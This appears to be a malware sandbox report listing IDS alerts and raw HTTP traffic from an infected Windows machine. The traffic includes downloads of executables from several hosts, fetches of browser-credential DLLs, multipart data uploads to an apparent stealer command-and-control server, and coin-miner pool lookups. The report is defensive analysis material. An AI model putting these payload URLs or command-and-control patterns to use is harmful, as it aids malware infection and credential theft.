Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:63372 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63374 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63382 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63379 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63385 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2036289 - Severity 2 - ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro) : 192.168.2.4:62334 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63388 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63392 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63396 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63406 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63403 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63410 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63412 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63413 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63415 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63416 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63419 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63421 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63423 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63430 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63427 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63436 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63432 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63437 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63434 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63433 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:63435 -> 185.215.113.103:80
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63439 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63440 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:63445 -> 185.215.113.103:80
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63450 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:63452 -> 185.215.113.103:80
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63457 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63462 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63467 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63474 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63476 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63481 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63483 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63518 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63513 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63517 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63516 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63515 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63511 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63514 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:63454 -> 5.75.214.132:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:63456 -> 185.215.113.103:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49746 -> 76.76.21.61:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49753 -> 37.153.95.99:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49754 -> 37.153.95.99:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49755 -> 37.153.95.99:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:63409 -> 37.153.95.99:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:63438 -> 37.153.95.99:443
Source: Network traffic	Suricata IDS: 2826930 - Severity 2 - ETPRO COINMINER XMR CoinMiner Usage : 192.168.2.4:63389 -> 95.179.241.203:443

Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: api64.ipify.org
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /feoihjfehfue HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: file-link-iota.vercel.appCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vhtrw.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: fallaeltro.esCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sgfdm.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: fallaeltro.esCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vtrwh12.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: fallaeltro.esCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1nhuM4.js HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: iplogger.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBKECAKFBGCAKECGIEHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Content-Length: 256Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIDBKKKKKFBGDGDHIDBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHJECAFIDAFHJKFCGHIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCFHDHIIIECBGCAKFIJUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDGCGIDAKEBKECAFIEHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Content-Length: 6545Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHIIEHJKKECGCBFIIJDUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Content-Length: 4677Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIIIJJKJKFHIDGDBAKJUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Content-Length: 1529Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDGCAEBFIIECAKFHIJEUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGCFCBAKKFBFIECAEBAUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BKEBFHIJECFIDGDGCGHCUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Content-Length: 1145Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DHCAECGIEBKJKEBGDHDAUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAFBAKECAEGCBFIEGDGUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKFCFBKFCFBFIDGCGDHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Content-Length: 461Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJJECFIECBGDGCAAAEHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Content-Length: 134633Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIJEHCBAKFCAKFHCGDGUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AAFBAKECAEGCBFIEGDGIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Content-Length: 499Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lgrn.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: fallaeltro.esCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGCFBGCBFHJECBGDAKKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Content-Length: 499Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAAAAFIIJDBGDGCGDAKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEGCFBGDHJJJJJKJECFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Content-Length: 256Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KECFIDGCBFBAKEBFBKFBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----ECFHJKEBAAECBFHIECGIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAEBKEGHJKEBFHJDBFCUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKKKEHDHCBFIEBFBGIDUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Content-Length: 6245Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AEBKECFCFBGCAAKEGIJDUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Content-Length: 4677Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GDGIJECGDGCBKECAKFBGUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Content-Length: 256Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEHJKJEBGHJJKEBGIECUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGHIIDHCGHCAAAAAFIJUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DAEGIIECGHCBFHJKEHDBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BAKFCBFHJDHJKECAKEHIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Content-Length: 6137Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0Host: 5.75.214.132Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/crazyfish.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 212.113.116.202
Source: global traffic	HTTP traffic detected: GET /api/crazyfish.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 45.91.200.135
Source: global traffic	HTTP traffic detected: POST /api/twofish.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Content-Length: 133Host: 45.91.200.135
Source: global traffic	HTTP traffic detected: POST /api/twofish.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Content-Length: 133Host: 45.91.200.135
Source: global traffic	HTTP traffic detected: HEAD /revada/66e1a49ce28da_wtyhjkosefktyh.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /lopsa/66daf6d8ac980_PeakSports.exe#pend HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /ssl/install.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 176.113.115.33Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /doku/burda.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 31.41.244.9Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /avoufshire.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 176.113.115.187Cache-Control: no-cache
